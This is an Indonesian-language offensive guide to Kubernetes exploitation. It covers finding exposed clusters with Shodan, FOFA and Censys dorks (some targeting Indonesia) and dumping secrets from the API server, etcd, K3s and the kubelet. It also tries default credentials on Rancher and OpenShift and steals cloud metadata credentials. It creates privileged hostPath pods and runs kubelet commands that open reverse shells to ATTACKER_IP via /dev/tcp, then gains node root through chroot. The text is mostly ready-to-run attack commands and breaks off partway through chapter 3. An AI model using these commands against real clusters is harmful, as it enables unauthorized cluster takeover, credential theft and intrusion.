Kubernetes Exposed Services & Post-Exploitation
- Siti
Table of Contents
Daftar Isi
- Bab 1 — Menemukan Kubernetes yang Terekspos
- Bab 2 — Eksploitasi Kubernetes API Server
- Bab 3 — Eksploitasi etcd, Kubelet, Dashboard
- Bab 4 — Container & Pod Escape
- Bab 5 — Post-Exploitation & Lateral Movement
Bab 1 — Menemukan Kubernetes yang Terekspos
1.1 Apa itu Kubernetes & Attack Surface
Kubernetes (K8s) adalah platform orkestrasi container. Arsitekturnya terdiri dari beberapa komponen yang masing-masing punya port dan API sendiri:
| Komponen | Port Default | Fungsi | Risiko jika Terekspos |
|---|---|---|---|
| API Server | 6443 | Central control plane, semua operasi K8s | Full cluster takeover |
| etcd | 2379, 2380 | Key-value store, menyimpan semua state cluster | Dump seluruh cluster data |
| Kubelet | 10250, 10255 | Agent di setiap node, menjalankan pod | Exec ke pod, baca secrets |
| Dashboard | 443, 8443, 30000+ | Web UI untuk manajemen cluster | Deploy container, baca secrets |
| Kube-proxy | 10256 | Network proxy di setiap node | Info disclosure |
| Helm Tiller | 44134 | (Legacy) Package manager server | Deploy arbitrary chart → RCE |
Kubernetes terekspos = seluruh infrastruktur bisa dikuasai, karena K8s mengelola semua container, secrets, network, dan storage.
1.2 Mengapa Sering Terekspos
- Cloud provider (EKS, GKE, AKS) API server default public
- Developer membuat cluster test/dev tanpa RBAC yang benar
--anonymous-auth=truedibiarkan default- Distribusi ringan (MicroK8s, K3s, Minikube) diinstall untuk development tapi di-expose ke public
- MicroK8s sebelum v1.26 default
--anonymous-auth=true - K3s menyimpan kubeconfig dan node token di file yang world-readable
- etcd diexpose tanpa TLS/auth untuk debugging
- Kubelet readonly port (10255) tidak dimatikan
- Dashboard di-expose via NodePort tanpa auth
- Rancher/OpenShift console terekspos dengan default credentials
- Firewall/Security Group tidak membatasi port K8s
- Helm Tiller (v2) listen di semua interface tanpa auth
1.3 Dorking: Shodan / Censys / FOFA
1# ========== Shodan ==========
2
3# API Server (6443)
4shodan search 'port:6443 "kube-apiserver"'
5shodan search 'port:6443 ssl:"kubernetes"'
6shodan search 'port:6443 "apiVersion"'
7shodan search 'port:6443 http.title:"Kubernetes" country:"ID"'
8
9# etcd (2379)
10shodan search 'port:2379 "etcd"'
11shodan search 'port:2379 product:"etcd"'
12shodan search 'port:2379 "etcdserver"'
13
14# Kubelet (10250/10255)
15shodan search 'port:10250 "kubelet"'
16shodan search 'port:10255 "kubelet"'
17shodan search 'port:10250 ssl.cert.subject.cn:"kubelet"'
18
19# Dashboard
20shodan search 'http.title:"Kubernetes Dashboard"'
21shodan search 'http.title:"Kubernetes Dashboard" port:8443'
22shodan search 'http.title:"Kubernetes Dashboard" country:"ID"'
23
24# Bulk
25shodan download k8s-api 'port:6443 "kube-apiserver"'
26shodan parse --fields ip_str,port k8s-api.json.gz# ========== FOFA ==========
# API Server
port="6443" && body="apiVersion"
port="6443" && cert="kubernetes"
# etcd
port="2379" && protocol="etcd"
port="2379" && body="etcdserver"
# Dashboard
title="Kubernetes Dashboard"
title="Kubernetes Dashboard" && country="ID"
# Kubelet
port="10250" && cert="kubelet"
port="10255" && body="kubelet"# ========== Censys ==========
services.port: 6443 AND services.tls.certificates.leaf.subject.common_name: "kube-apiserver"
services.port: 2379 AND services.software.product: "etcd"
services.http.response.html_title: "Kubernetes Dashboard"
services.port: 10250 AND services.tls.certificates.leaf.subject.common_name: "kubelet"# ========== Google Dorking ==========
intitle:"Kubernetes Dashboard" inurl:dashboard
inurl:":6443/api/v1" "apiVersion"
inurl:":10250/pods"
inurl:":2379/version" "etcdserver"
# ========== Distro-Specific ==========
# MicroK8s (port 16443)
intitle:"Kubernetes Dashboard" inurl:":16443"
inurl:":16443/api/v1" 1# ========== Shodan — Distro-Specific ==========
2
3# MicroK8s
4shodan search 'port:16443 "kube-apiserver"'
5shodan search 'port:16443 ssl:"kubernetes"'
6
7# K3s
8shodan search 'port:6443 "k3s"'
9shodan search 'http.html:"k3s" port:6443'
10
11# OpenShift
12shodan search 'http.title:"OpenShift"'
13shodan search '"openshift" port:6443'
14shodan search 'http.title:"Red Hat OpenShift"'
15
16# Rancher
17shodan search 'http.title:"Rancher"'
18shodan search 'http.body:"Rancher" port:443'
19shodan search 'http.title:"Rancher" country:"ID"'
20
21# Minikube
22shodan search 'port:8443 "minikube"'1.4 Nuclei & Automated Discovery
1# Nuclei templates untuk K8s
2nuclei -l targets.txt -t http/exposures/configs/kubernetes-dashboard.yaml
3nuclei -l targets.txt -t http/misconfiguration/kubernetes/
4nuclei -l targets.txt -tags kubernetes,k8s
5
6# Kube-hunter — scanner khusus K8s
7pip install kube-hunter
8kube-hunter --remote <target-ip>
9kube-hunter --cidr 10.0.0.0/24
10
11# kubeaudit — audit konfigurasi K8s
12kubeaudit all -f kubeconfig.yaml1.5 Manual Discovery per Service
1# === API Server (6443) ===
2curl -sk https://TARGET:6443/api
3curl -sk https://TARGET:6443/api/v1
4curl -sk https://TARGET:6443/version
5curl -sk https://TARGET:6443/healthz
6curl -sk https://TARGET:6443/api/v1/namespaces
7curl -sk https://TARGET:6443/api/v1/pods
8curl -sk https://TARGET:6443/api/v1/secrets
9
10# === etcd (2379) ===
11curl -sk https://TARGET:2379/version
12curl -sk https://TARGET:2379/v2/keys/?recursive=true
13# etcdctl
14ETCDCTL_API=3 etcdctl --endpoints=https://TARGET:2379 --insecure-skip-tls-verify get / --prefix --keys-only
15
16# === Kubelet (10250 — authenticated) ===
17curl -sk https://TARGET:10250/pods
18curl -sk https://TARGET:10250/runningpods
19curl -sk https://TARGET:10250/metrics
20
21# === Kubelet readonly (10255 — unauthenticated, deprecated tapi masih ada) ===
22curl -s http://TARGET:10255/pods
23curl -s http://TARGET:10255/metrics
24
25# === Dashboard ===
26curl -sk https://TARGET:8443/
27curl -sk https://TARGET:30000/ # NodePort umum
28curl -sk https://TARGET/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/1.6 Distribusi K8s — Attack Surface per Distro
Kubernetes bukan satu produk — ada banyak distribusi dengan default config, port, dan kelemahan yang berbeda. Mengenali distro target sangat penting karena menentukan jalur eksploitasi.
Tabel Distribusi & Attack Surface
| Distro | Target Umum | API Port | Keunikan | Risiko Utama |
|---|---|---|---|---|
| MicroK8s | Dev/edge/IoT, single-node | 16443 | Snap-based, microk8s kubectl | --anonymous-auth=true default, etcd tanpa TLS |
| K3s | Edge/IoT, lightweight | 6443 | SQLite/etcd embedded, binary tunggal | Token di /var/lib/rancher/k3s/server/token, kubeconfig world-readable |
| Minikube | Local development | 8443 | VM/container driver, addons system | Dashboard auto-enabled tanpa auth, API binding 0.0.0.0 |
| Kind | CI/CD testing | Random | Docker-in-Docker | Kubeconfig di ~/.kube/config, container escape → host |
| OpenShift | Enterprise production | 6443, 8443 | OAuth built-in, SCC (Security Context Constraints) | Console (443), OAuth token leak, overly permissive SCC |
| Rancher | Multi-cluster management | 443 | Web UI + API, manages downstream clusters | Default admin password, satu Rancher compromised = semua cluster |
| EKS (AWS) | Cloud production | 443 | IAM authentication, managed control plane | Public API endpoint default, IRSA misconfiguration |
| GKE (GCP) | Cloud production | 443 | Google IAM, managed control plane | Legacy ABAC, metadata API dari pod |
| AKS (Azure) | Cloud production | 443 | Azure AD integration, managed | Public API default, managed identity abuse |
| K0s | Minimal/embedded | 6443 | Zero dependencies, single binary | Join token exposure, default permissive config |
| RKE/RKE2 | Rancher-managed | 6443, 9345 | Docker-based (RKE1), containerd (RKE2) | Docker socket exposure (RKE1), join token |
MicroK8s — Detail
MicroK8s populer untuk development dan edge deployment. Diinstall via snap:
1# ========== Deteksi MicroK8s ==========
2# Port non-standar: 16443 (bukan 6443)
3curl -sk https://TARGET:16443/api
4curl -sk https://TARGET:16443/version
5
6# Shodan
7shodan search 'port:16443 "kube-apiserver"'
8shodan search 'port:16443 ssl:"kubernetes"'
9
10# FOFA
11port="16443" && cert="kubernetes"
12
13# ========== Kelemahan Default ==========
14
15# 1. Anonymous auth ENABLED by default (sebelum microk8s v1.26)
16curl -sk https://TARGET:16443/api/v1/pods
17curl -sk https://TARGET:16443/api/v1/secrets
18# Jika return data → anonymous access aktif
19
20# 2. etcd tanpa TLS dan tanpa auth (listen di localhost:2379)
21# Jika sudah di host atau ada SSRF:
22curl http://127.0.0.1:2379/version
23ETCDCTL_API=3 etcdctl --endpoints=http://127.0.0.1:2379 get / --prefix --keys-only
24
25# 3. Dashboard addon — sering di-enable tanpa auth
26# microk8s enable dashboard
27# Default NodePort atau proxy
28curl -sk https://TARGET:10443/
29curl -sk https://TARGET/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/
30
31# 4. Kubeconfig location
32# /var/snap/microk8s/current/credentials/client.config
33# Jika bisa baca file ini → full cluster admin
34
35# 5. Certs & tokens
36# /var/snap/microk8s/current/credentials/
37# /var/snap/microk8s/current/args/
38# File-file berisi token dan cert untuk semua komponen
39
40# ========== Eksploitasi ==========
41
42# Jika anonymous auth aktif → langsung enum + create pod (lihat Bab 2)
43
44# Jika punya LFI/file read di host:
45# Baca kubeconfig
46cat /var/snap/microk8s/current/credentials/client.config
47# Set kubeconfig dan gunakan kubectl
48export KUBECONFIG=/tmp/microk8s.config
49kubectl get all --all-namespaces
50
51# Baca CA cert + admin token
52cat /var/snap/microk8s/current/certs/ca.crt
53cat /var/snap/microk8s/current/credentials/known_tokens.csv
54# Format: token,user,uid,group
55# Ambil token admin → gunakan sebagai Bearer tokenK3s — Detail
K3s adalah distribusi lightweight dari Rancher Labs. Sering digunakan di edge, IoT, dan ARM devices:
1# ========== Deteksi K3s ==========
2curl -sk https://TARGET:6443/version
3# "gitVersion": "v1.28.x+k3s1" ← identifier K3s
4
5# Shodan
6shodan search 'port:6443 "k3s"'
7
8# ========== Kelemahan Default ==========
9
10# 1. Node token — file readable, dipakai untuk join cluster
11# /var/lib/rancher/k3s/server/token
12# atau /var/lib/rancher/k3s/server/node-token
13# Siapa saja yang punya token ini bisa join sebagai node/server
14
15# 2. Kubeconfig world-readable di beberapa instalasi
16# /etc/rancher/k3s/k3s.yaml
17# Berisi certificate + admin credentials
18# Default bind ke 0.0.0.0:6443
19
20# 3. SQLite database (default, bukan etcd)
21# /var/lib/rancher/k3s/server/db/state.db
22# Berisi semua cluster state termasuk secrets
23# sqlite3 state.db "SELECT * FROM kine WHERE name LIKE '%secret%';"
24
25# 4. Traefik sebagai ingress default
26# Mungkin expose internal services
27
28# ========== Eksploitasi ==========
29
30# Jika punya file read:
31# 1. Ambil kubeconfig
32cat /etc/rancher/k3s/k3s.yaml
33# Ganti server address dari 127.0.0.1 ke TARGET IP
34
35# 2. Ambil node token
36cat /var/lib/rancher/k3s/server/token
37# Gunakan untuk join rogue node ke cluster:
38# curl -sfL https://get.k3s.io | K3S_URL=https://TARGET:6443 K3S_TOKEN=<token> sh -
39
40# 3. Dump SQLite
41sqlite3 /var/lib/rancher/k3s/server/db/state.db \
42 "SELECT name, hex(value) FROM kine WHERE name LIKE '%/secrets/%';"Minikube — Detail
Minikube untuk local development, tapi kadang terekspos di VM/server shared:
1# ========== Deteksi Minikube ==========
2curl -sk https://TARGET:8443/version
3# Port default 8443
4
5# Shodan
6shodan search 'port:8443 "minikube"'
7
8# ========== Kelemahan ==========
9
10# 1. Dashboard addon auto-exposed tanpa auth
11# minikube dashboard → proxy ke localhost, tapi jika di-bind 0.0.0.0:
12curl -sk http://TARGET:30000/ # atau port NodePort lain
13curl -sk http://TARGET:8001/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/
14
15# 2. API server binding — kadang bind 0.0.0.0
16# minikube start --apiserver-ips=0.0.0.0
17curl -sk https://TARGET:8443/api/v1/pods
18
19# 3. Kubeconfig
20# ~/.minikube/config/config.json
21# ~/.kube/config
22# Berisi cert + key untuk cluster admin
23
24# 4. Docker driver — minikube container punya akses ke Docker socket
25# Jika masuk ke minikube container → escape ke host via docker.sockOpenShift — Detail
OpenShift (Red Hat) adalah enterprise K8s dengan layer tambahan:
1# ========== Deteksi OpenShift ==========
2curl -sk https://TARGET:6443/.well-known/oauth-authorization-server
3# Response JSON = OpenShift
4
5curl -sk https://TARGET:443/console/
6# OpenShift Web Console
7
8# Shodan
9shodan search 'http.title:"OpenShift"'
10shodan search '"openshift" port:6443'
11
12# ========== Kelemahan ==========
13
14# 1. Console terekspos (443)
15# Default login page — coba default credentials
16# kubeadmin : <generated-password>
17# Password ada di: /root/openshift-install/auth/kubeadmin-password
18
19# 2. OAuth token endpoint
20curl -sk -u "developer:developer" \
21 -H "X-CSRF-Token: 1" \
22 "https://TARGET:443/oauth/authorize?response_type=token&client_id=openshift-challenging-client" \
23 -D - 2>/dev/null | grep -i location
24# Kadang "developer:developer" account ada di dev cluster
25
26# 3. SCC (Security Context Constraints) yang terlalu permissive
27# oc get scc
28# Jika "anyuid" atau "privileged" di-assign ke service account →
29# pod bisa jalan sebagai root / privileged
30
31# 4. Routes terekspos (OpenShift Routes = K8s Ingress)
32# oc get routes --all-namespaces
33# Menunjukkan semua exposed services
34
35# 5. Internal registry
36# Default: image-registry.openshift-image-registry.svc:5000
37# Kadang terekspos: https://TARGET:5000/v2/_catalogRancher — Detail
Rancher mengelola banyak cluster dari satu UI. Satu Rancher compromised = semua downstream cluster:
1# ========== Deteksi Rancher ==========
2curl -sk https://TARGET/v3
3curl -sk https://TARGET/dashboard/
4# Rancher Dashboard
5
6# Shodan
7shodan search 'http.title:"Rancher"'
8shodan search 'http.body:"Rancher" port:443'
9
10# ========== Kelemahan ==========
11
12# 1. Default admin password
13# Rancher v2.6+ — first login meminta set password
14# Tapi banyak yang set ke default: admin / password / rancher
15curl -sk -X POST https://TARGET/v3-public/localProviders/local?action=login \
16 -H "Content-Type: application/json" \
17 -d '{"username":"admin","password":"admin"}'
18
19# 2. Bootstrap password (Rancher v2.6+)
20# Kadang terekspos di log atau environment
21# CATTLE_BOOTSTRAP_PASSWORD=xxxxx
22
23# 3. API token — setelah login
24curl -sk -H "Authorization: Bearer token-xxxxx:yyyyyy" \
25 https://TARGET/v3/clusters
26# List semua managed clusters
27
28# 4. Downstream cluster access
29# Dari Rancher, bisa generate kubeconfig untuk cluster manapun
30curl -sk -H "Authorization: Bearer $TOKEN" \
31 -X POST https://TARGET/v3/clusters/CLUSTER_ID?action=generateKubeconfig
32# → kubeconfig untuk cluster downstream → full admin
33
34# 5. CVE-2022-21947 / CVE-2021-36782 — credential exposure via API
35# Versi lama Rancher expose plaintext credentials di API responseCloud Managed K8s (EKS, GKE, AKS)
1# ========== EKS (AWS) ==========
2# API endpoint biasanya public by default
3# https://CLUSTER_ID.REGION.eks.amazonaws.com
4
5# Cek anonymous
6curl -sk https://EKS_ENDPOINT/api
7
8# Jika punya AWS credentials:
9aws eks get-token --cluster-name CLUSTER_NAME
10aws eks update-kubeconfig --name CLUSTER_NAME
11kubectl get all --all-namespaces
12
13# IRSA misconfiguration — pod assume IAM role yang terlalu powerful
14# Dari dalam pod:
15curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
16
17# ========== GKE (Google) ==========
18# Endpoint: https://CLUSTER_IP
19
20# Legacy ABAC (attribute-based) bisa bypass RBAC
21# Dari dalam pod:
22curl -s -H "Metadata-Flavor: Google" \
23 "http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env"
24# Kadang berisi kubelet credentials
25
26# ========== AKS (Azure) ==========
27# Endpoint: https://CLUSTER_FQDN
28
29# Managed identity dari pod:
30curl -s -H "Metadata: true" \
31 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
32
33# Azure AD RBAC misconfiguration
34# Kadang semua Azure AD user punya cluster-adminFingerprinting Distro
Jika tidak yakin distro apa yang digunakan target:
1# 1. Cek /version endpoint
2curl -sk https://TARGET:6443/version | jq '.gitVersion'
3# "v1.28.2" → vanilla K8s / kubeadm
4# "v1.28.2+k3s1" → K3s
5# "v1.28.2-gke.1" → GKE
6# "v1.28.2-eks-xxx" → EKS
7
8# 2. Cek port
9# 16443 → MicroK8s
10# 8443 → Minikube / OpenShift
11# 6443 → K8s standard / K3s / RKE / EKS / AKS
12# 443 → Rancher / OpenShift console
13
14# 3. Cek response headers
15curl -sk -I https://TARGET:6443/version
16# X-Openshift-* → OpenShift
17
18# 4. Cek node labels (jika punya akses)
19kubectl get nodes --show-labels
20# node.kubernetes.io/microk8s-* → MicroK8s
21# k3s.io/* → K3s
22# eks.amazonaws.com/* → EKS
23# cloud.google.com/gke-* → GKE
24
25# 5. Cek namespaces
26kubectl get namespaces
27# openshift-* → OpenShift
28# cattle-system, fleet-system → Rancher
29# kube-system + snap.microk8s.* → MicroK8sBab 2 — Eksploitasi Kubernetes API Server
2.1 Anonymous Auth Check
Kubernetes API server bisa mengizinkan request tanpa autentikasi jika --anonymous-auth=true (default di banyak distro).
1# Cek apakah anonymous access diizinkan
2curl -sk https://TARGET:6443/api
3# Jika return JSON dengan "versions" → API accessible
4
5curl -sk https://TARGET:6443/api/v1
6# Jika return JSON dengan resource list → anonymous auth enabled
7
8# Cek permission anonymous user
9curl -sk https://TARGET:6443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
10 -X POST \
11 -H "Content-Type: application/json" \
12 -d '{
13 "apiVersion": "authorization.k8s.io/v1",
14 "kind": "SelfSubjectAccessReview",
15 "spec": {
16 "resourceAttributes": {
17 "verb": "list",
18 "resource": "secrets",
19 "namespace": "default"
20 }
21 }
22 }'Response yang menunjukkan akses:
1{
2 "kind": "APIResourceList",
3 "groupVersion": "v1",
4 "resources": [
5 {"name": "pods", "namespaced": true, "kind": "Pod", "verbs": ["create","delete","get","list","patch","update","watch"]},
6 {"name": "secrets", "namespaced": true, "kind": "Secret", "verbs": ["create","delete","get","list","patch","update","watch"]}
7 ]
8}Jika mendapat 403 Forbidden → anonymous auth disabled, tapi masih bisa coba token-based attack.
2.2 Enumerasi tanpa Auth
Jika anonymous access berfungsi:
1# List semua namespaces
2curl -sk https://TARGET:6443/api/v1/namespaces | jq '.items[].metadata.name'
3
4# List pods di semua namespace
5curl -sk https://TARGET:6443/api/v1/pods | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, image: .spec.containers[0].image}'
6
7# List services
8curl -sk https://TARGET:6443/api/v1/services | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, type: .spec.type}'
9
10# List deployments
11curl -sk https://TARGET:6443/apis/apps/v1/deployments | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name}'
12
13# List nodes
14curl -sk https://TARGET:6443/api/v1/nodes | jq '.items[] | {name: .metadata.name, ip: .status.addresses}'
15
16# List secrets (jackpot)
17curl -sk https://TARGET:6443/api/v1/secrets | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, type: .type}'
18
19# Baca secret tertentu (base64 encoded)
20curl -sk https://TARGET:6443/api/v1/namespaces/default/secrets/SECRET_NAME | jq '.data | map_values(@base64d)'
21
22# List configmaps
23curl -sk https://TARGET:6443/api/v1/configmaps | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name}'
24
25# List service accounts
26curl -sk https://TARGET:6443/api/v1/serviceaccounts | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name}'Dengan kubectl (jika bisa install/upload):
1# Set target
2kubectl --server=https://TARGET:6443 --insecure-skip-tls-verify get namespaces
3kubectl --server=https://TARGET:6443 --insecure-skip-tls-verify get pods --all-namespaces
4kubectl --server=https://TARGET:6443 --insecure-skip-tls-verify get secrets --all-namespaces
5kubectl --server=https://TARGET:6443 --insecure-skip-tls-verify get nodes
6
7# Atau buat kubeconfig
8cat > /tmp/kubeconfig << 'EOF'
9apiVersion: v1
10kind: Config
11clusters:
12- cluster:
13 server: https://TARGET:6443
14 insecure-skip-tls-verify: true
15 name: target
16contexts:
17- context:
18 cluster: target
19 name: target
20current-context: target
21EOF
22
23export KUBECONFIG=/tmp/kubeconfig
24kubectl get all --all-namespaces2.3 Service Account Token Abuse
Setiap pod di K8s mendapat service account token yang auto-mounted. Jika kamu sudah di dalam pod (via RCE, webshell, dll):
1# Lokasi token
2TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
3CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
4NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
5
6# API server address (selalu tersedia dari dalam cluster)
7APISERVER=https://kubernetes.default.svc
8
9# Cek identitas
10curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/$NAMESPACE/pods
11
12# Cek semua permission
13curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
14 -X POST -H "Content-Type: application/json" \
15 -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}" | jq '.status.resourceRules'
16
17# List secrets (jika diizinkan)
18curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/$NAMESPACE/secrets | jq '.items[].metadata.name'
19
20# Dengan kubectl
21kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify auth can-i --listService account yang sering punya privilege tinggi:
| Service Account | Namespace | Alasan |
|---|---|---|
default | kube-system | Sering dikonfigurasi cluster-admin |
tiller | kube-system | Helm v2 — biasanya cluster-admin |
jenkins | jenkins/cicd | CI/CD butuh deploy → broad permission |
argo-* | argocd | GitOps controller |
cert-manager | cert-manager | Manage certificates |
2.4 RBAC Misconfiguration
RBAC (Role-Based Access Control) yang salah konfigurasi bisa memberi privilege berlebihan:
Kasus 1: ClusterRoleBinding ke system:anonymous
1# Cek apakah anonymous punya cluster-admin
2curl -sk https://TARGET:6443/apis/rbac.authorization.k8s.io/v1/clusterrolebindings | \
3 jq '.items[] | select(.subjects[]?.name == "system:anonymous") | {name: .metadata.name, role: .roleRef.name}'Kasus 2: ClusterRoleBinding ke system:unauthenticated
1curl -sk https://TARGET:6443/apis/rbac.authorization.k8s.io/v1/clusterrolebindings | \
2 jq '.items[] | select(.subjects[]?.name == "system:unauthenticated") | {name: .metadata.name, role: .roleRef.name}'Kasus 3: Service account default dengan privilege
1# Cek rolebinding untuk service account default
2curl -sk https://TARGET:6443/apis/rbac.authorization.k8s.io/v1/clusterrolebindings | \
3 jq '.items[] | select(.subjects[]?.name == "default") | {name: .metadata.name, role: .roleRef.name}'Kasus 4: Wildcard permission
1# ClusterRole yang terlalu permissive
2apiVersion: rbac.authorization.k8s.io/v1
3kind: ClusterRole
4rules:
5- apiGroups: ["*"]
6 resources: ["*"]
7 verbs: ["*"]
8# → ini = cluster-admin, siapapun yang di-bind ke role ini punya full access2.5 Secrets Extraction
Kubernetes Secrets disimpan base64-encoded (bukan encrypted by default). Jika bisa list/get secrets:
1# List semua secrets di semua namespace
2kubectl get secrets --all-namespaces -o json | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, type: .type}'
3
4# Dump semua secrets (decoded)
5kubectl get secrets --all-namespaces -o json | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, data: (.data // {} | map_values(@base64d))}'
6
7# Via curl
8curl -sk https://TARGET:6443/api/v1/secrets | jq '.items[] | {ns: .metadata.namespace, name: .metadata.name, data: (.data // {} | map_values(@base64d))}'
9
10# Filter by type
11# Docker registry credentials
12kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type == "kubernetes.io/dockerconfigjson") | {name: .metadata.name, data: .data[".dockerconfigjson"] | @base64d}'
13
14# TLS certificates & private keys
15kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type == "kubernetes.io/tls") | {name: .metadata.name, cert: .data["tls.crt"] | @base64d, key: .data["tls.key"] | @base64d}'
16
17# Service account tokens
18kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type == "kubernetes.io/service-account-token") | {name: .metadata.name, token: .data["token"] | @base64d}'
19
20# Opaque secrets (password, API key, dll)
21kubectl get secrets --all-namespaces -o json | jq '.items[] | select(.type == "Opaque") | {name: .metadata.name, data: (.data // {} | map_values(@base64d))}'Tipe secret yang sering berisi credentials:
| Type | Isi |
|---|---|
Opaque | Password, API key, connection string |
kubernetes.io/dockerconfigjson | Docker registry auth |
kubernetes.io/tls | TLS cert + private key |
kubernetes.io/service-account-token | SA token untuk API access |
kubernetes.io/basic-auth | Username + password |
kubernetes.io/ssh-auth | SSH private key |
2.6 Pod Creation → RCE
Jika kamu punya permission untuk create pod, kamu bisa langsung RCE di cluster:
Method 1: Privileged Pod dengan reverse shell
1cat << 'EOF' | kubectl apply -f -
2apiVersion: v1
3kind: Pod
4metadata:
5 name: pwned
6 namespace: default
7spec:
8 containers:
9 - name: pwned
10 image: alpine
11 command: ["/bin/sh", "-c"]
12 args: ["apk add bash; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
13 securityContext:
14 privileged: true
15 volumeMounts:
16 - mountPath: /host
17 name: host-root
18 volumes:
19 - name: host-root
20 hostPath:
21 path: /
22 type: Directory
23 hostNetwork: true
24 hostPID: true
25EOFMethod 2: Via curl (tanpa kubectl)
1curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
2 -X POST -H "Content-Type: application/json" \
3 -d '{
4 "apiVersion": "v1",
5 "kind": "Pod",
6 "metadata": {"name": "pwned"},
7 "spec": {
8 "containers": [{
9 "name": "pwned",
10 "image": "alpine",
11 "command": ["/bin/sh", "-c", "apk add bash curl; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"],
12 "securityContext": {"privileged": true},
13 "volumeMounts": [{"mountPath": "/host", "name": "host-root"}]
14 }],
15 "volumes": [{"name": "host-root", "hostPath": {"path": "/", "type": "Directory"}}],
16 "hostNetwork": true,
17 "hostPID": true
18 }
19 }'Setelah pod running dan reverse shell didapat:
1# Kamu sekarang di dalam privileged container
2# Mount host filesystem
3ls /host/
4chroot /host bash
5# Sekarang kamu = root di node hostMethod 3: Exec ke pod yang sudah ada
1# List running pods
2kubectl get pods --all-namespaces
3
4# Exec ke pod
5kubectl exec -it POD_NAME -n NAMESPACE -- /bin/bash
6# atau
7kubectl exec -it POD_NAME -n NAMESPACE -- /bin/sh
8
9# Via curl
10curl -sk -X POST "https://TARGET:6443/api/v1/namespaces/NAMESPACE/pods/POD_NAME/exec?command=/bin/sh&stdin=true&stdout=true&stderr=true&tty=true" \
11 -H "Upgrade: websocket" \
12 -H "Connection: Upgrade"Bab 3 — Eksploitasi etcd, Kubelet, Dashboard
3.1 etcd Tanpa Auth
etcd menyimpan seluruh state Kubernetes cluster — semua secrets, config, token, dan data lainnya. Jika terekspos tanpa autentikasi:
1# Cek version
2curl -sk https://TARGET:2379/version
3# {"etcdserver":"3.5.x","etcdcluster":"3.5.0"}
4
5# etcdctl v3 — dump semua keys
6export ETCDCTL_API=3
7etcdctl --endpoints=https://TARGET:2379 --insecure-skip-tls-verify \
8 get / --prefix --keys-only
9
10# Dump SEMUA data (key + value)
11etcdctl --endpoints=https://TARGET:2379 --insecure-skip-tls-verify \
12 get / --prefix
13
14# Cari secrets langsung
15etcdctl --endpoints=https://TARGET:2379 --insecure-skip-tls-verify \
16 get /registry/secrets --prefix --keys-only
17
18# Baca secret tertentu
19etcdctl --endpoints=https://TARGET:2379 --insecure-skip-tls-verify \
20 get /registry/secrets/default/my-secret
21
22# Cari service account tokens
23etcdctl --endpoints=https://TARGET:2379 --insecure-skip-tls-verify \
24 get /registry/secrets/kube-system --prefix | strings | grep "eyJ"
25# eyJ... = JWT token
26
27# Dump semua data ke file
28etcdctl --endpoints=https://TARGET:2379 --insecure-skip-tls-verify \
29 get / --prefix -w json > etcd_dump.jsonetcd v2 API (cluster lama):
1# List semua keys
2curl -sk https://TARGET:2379/v2/keys/?recursive=true
3
4# Baca key tertentu
5curl -sk https://TARGET:2379/v2/keys/registry/secrets/default/my-secretParse data dari etcd dump:
1# Extract semua secret values
2cat etcd_dump.json | python3 -c "
3import json, base64, sys
4data = json.load(sys.stdin)
5for kv in data.get('kvs', []):
6 key = base64.b64decode(kv['key']).decode('utf-8', errors='ignore')
7 if '/secrets/' in key:
8 val = base64.b64decode(kv['value']).decode('utf-8', errors='ignore')
9 print(f'=== {key} ===')
10 print(val[:500])
11 print()
12"3.2 Kubelet API (10250)
Kubelet berjalan di setiap node dan memiliki API untuk mengelola pod di node tersebut.
Port 10255 (readonly, deprecated):
1# List pods di node ini
2curl -s http://TARGET:10255/pods | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name}'
3
4# Metrics
5curl -s http://TARGET:10255/metricsPort 10250 (full access):
1# List pods (perlu auth biasanya, tapi kadang anonymous)
2curl -sk https://TARGET:10250/pods | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name}'
3
4# List running pods
5curl -sk https://TARGET:10250/runningpods
6
7# Execute command di pod (RCE langsung!)
8# Format: /run/<namespace>/<pod>/<container>
9curl -sk https://TARGET:10250/run/default/POD_NAME/CONTAINER_NAME \
10 -X POST -d "cmd=id"
11
12curl -sk https://TARGET:10250/run/default/POD_NAME/CONTAINER_NAME \
13 -X POST -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
14
15curl -sk https://TARGET:10250/run/default/POD_NAME/CONTAINER_NAME \
16 -X POST -d "cmd=cat /etc/shadow"
17
18# Reverse shell via kubelet
19curl -sk https://TARGET:10250/run/default/POD_NAME/CONTAINER_NAME \
20 -X POST -d "cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
21
22# Exec (websocket) — kubeletctl lebih mudah
23kubeletctl -s TARGET exec "id" -p POD_NAME -c CONTAINER_NAME
